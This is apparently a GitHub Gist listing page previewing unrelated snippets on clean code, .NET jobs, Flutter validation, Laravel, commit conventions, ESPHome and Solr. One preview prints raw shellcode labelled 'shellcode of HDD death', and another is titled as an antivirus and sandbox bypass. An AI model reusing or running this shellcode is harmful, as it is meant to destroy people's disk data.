Skip to content

Instantly share code, notes, and snippets.

@wojteklu
wojteklu / clean_code.md
Last active May 7, 2024 11:48
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules

@StevenTCramer
StevenTCramer / Dotnet_Background_Jobs
Last active May 7, 2024 11:48
If you are queuing background jobs/work items today in your .NET applications, how are you doing it and what are you using it for?
David Fowler πŸ‡§πŸ‡§πŸ‡ΊπŸ‡ΈπŸ’‰πŸ’‰πŸ’‰ on Twitter: "If you are queuing background jobs/work items today in your .NET applications, how are you doing it and what are you using it for? #dotnet #aspnetcore" / Twitter
https://twitter.com/davidfowl/status/1442566223099666436
Background tasks with hosted services in ASP.NET Core | Microsoft Docs
https://docs.microsoft.com/en-us/aspnet/core/fundamentals/host/hosted-services?view=aspnetcore-6.0&tabs=visual-studio
Messaging that just works β€” RabbitMQ
https://www.rabbitmq.com/
.NET/C# Client API Guide β€” RabbitMQ
@Klerith
Klerith / email.dart
Created March 18, 2023 14:15
Flutter - Formz Inputs
import 'package:formz/formz.dart';
// Define input validation errors
enum EmailError { empty, format }
// Extend FormzInput and provide the input type and error type.
class Email extends FormzInput<String, EmailError> {
static final RegExp emailRegExp = RegExp(
r'^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$',
@vdwalia
vdwalia / UserController.php
Last active May 7, 2024 11:46
Laravel 10.x + Tailwind (Flowbite) + Datatables
app/Http/Controllers/UserController.php
<?php
namespace App\Http\Controllers;
use App\DataTables\UsersDataTable;
class UserController extends Controller
{
@qoomon
qoomon / conventional_commit_messages.md
Last active May 7, 2024 11:43
Conventional Commit Messages

Conventional Commit Messages

See how a minor change to your commit message style can make a difference.

Tip

Have a look at git-conventional-commits , a CLI util to ensure these conventions and generate verion and changelogs

Commit Message Formats

Default

@NullArray
NullArray / shellcode_of_death.c
Created March 31, 2019 03:19
shellcode of HDD death
"\xd9\xea\xd9\x74\x24\xf4\xbd\x8f\x1e\x9a\x87\x58\x29\xc9\xb1"
"\x61\x31\x68\x18\x03\x68\x18\x83\xe8\x73\xfc\x6f\x6c\xd1\x30"
"\x50\xf8\xd1\xb1\x51\x29\x4a\xe6\x60\x0e\x5d\xc6\x2f\x71\x5e"
"\xc3\x2e\xb1\xe3\x34\x30\x40\x10\x05\xfa\xaf\xef\x4d\xa5\xf4"
"\x7b\x51\x16\xe0\x5d\x96\x1f\x26\xea\x59\x1c\x4c\xa8\x5b\x24"
"\xdf\x34\x5e\x84\x54\x74\x7e\xa9\x77\x76\x96\x72\x78\x89\x99"
"\x2e\x0c\x3e\x42\x5c\x1e\xca\xec\xd5\x1b\x8b\xd5\x16\xdc\x0b"
"\x16\x62\x78\x17\x9b\x68\x65\xac\xa7\x13\x14\xb6\xa5\xd0\x16"
"\x7f\xcd\x77\x68\x7f\x0e\x78\x02\x3f\x02\xf3\x54\xa3\x91\x53"
"\x5d\x50\xdd\x73\xd6\x66\x24\x3b\xf0\x13\xab\xab\x64\x80\x49"
@NullArray
NullArray / Memvalanche.c
Last active May 7, 2024 11:41
Simple AV/Sandbox bypass
/*
*____ ____ __
*\ \ / /____ _____/ |_ ___________
* \ Y // __ \_/ ___\ __\/ _ \_ __ \
* \ /\ ___/\ \___| | ( <_> ) | \/
* \___/ \___ >\___ >__| \____/|__|
* \/ \/
* ############################################## */
@skylord123
skylord123 / esphome_config.yaml
Last active May 7, 2024 11:41
Wiegand ESP32-POE config
esphome:
name: west_warehouse_access_control
platform: ESP32
board: esp32-poe
includes:
- custom_components/wiegand_device/wiegand_device.h
ethernet:
use_address: west_warehouse_access_control
type: LAN8720
@leedavis81
leedavis81 / delete-core.sh
Created October 11, 2012 16:57
Delete a solr core
#!/bin/bash
clear
echo "*************************************************************************"
echo "*************************************************************************"
echo
echo " You are about to *permanently* delete a core!"
echo " There is no going back"
echo
echo "*************************************************************************"